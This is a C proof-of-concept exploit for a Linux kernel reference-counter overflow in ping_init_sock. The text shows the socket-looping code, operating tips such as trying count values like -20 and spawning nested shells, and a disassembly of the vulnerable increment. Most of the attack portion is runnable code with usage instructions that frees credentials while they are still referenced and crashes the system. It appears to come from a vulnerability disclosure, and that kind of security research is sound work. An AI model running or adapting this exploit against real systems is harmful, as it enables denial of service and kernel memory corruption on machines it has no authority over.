- #include <arpa/inet.h>
- #include <stdio.h>
- #include <sys/socket.h>
- int main(int argc, char *argv[]) {
- int i ;
- struct sockaddr_in saddr;
- unsigned count = -8 ;
- if(argc >= 2){
- // Specify count
- count = atoi(argv[1]);
- }
- printf("count %i\n",count);
- for(i = 0 ; i < count;i++ ){
- socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
- if ( i % ( 1 << 22 ) == 0 )
- printf("%i \n",i);
- }
- //Now make it wrap and crash:
- system("/bin/echo bye bye");
- }
If the code doens't work, try different values for count ( argv[1] ), for example -20 . When the exploit finishes, run some nested shells to increment the group_info usage counter : every subprocess will increment the usage counter .
It takes a while because 2^32 syscalls have to be executed, but eventually the refcounter overflows.
When the refcounter is close to be overflown, the code executes another process. When this process finishes, atomic_dec_and_test returns true and the creds are freed while still referenced. This results in corruption of the cred_jar slab cache which leads to a system crash.
The disassembly of ping_init_sock shows the overflow:
Dump of assembler code for function ping_init_sock:
0xffffffff8164b960 <+0>: push %rbp
0xffffffff8164b961 <+1>: mov %rsp,%rbp
0xffffffff8164b964 <+4>: push %r12
0xffffffff8164b966 <+6>: push %rbx
0xffffffff8164b967 <+7>: data32 data32 data32 xchg %ax,%ax
0xffffffff8164b96c <+12>: mov %gs:0xb880,%rax
0xffffffff8164b975 <+21>: mov 0x480(%rax),%rax
0xffffffff8164b97c <+28>: mov 0x30(%rdi),%rdx
0xffffffff8164b980 <+32>: mov 0x18(%rax),%edi
0xffffffff8164b983 <+35>: mov 0x88(%rax),%rax
=> 0xffffffff8164b98a <+42>: incl %ds:(%rax)
0xffffffff8164b98d <+45>: mov 0x4(%rax),%r10d
0xffffffff8164b991 <+49>: lea 0x390(%rdx),%r9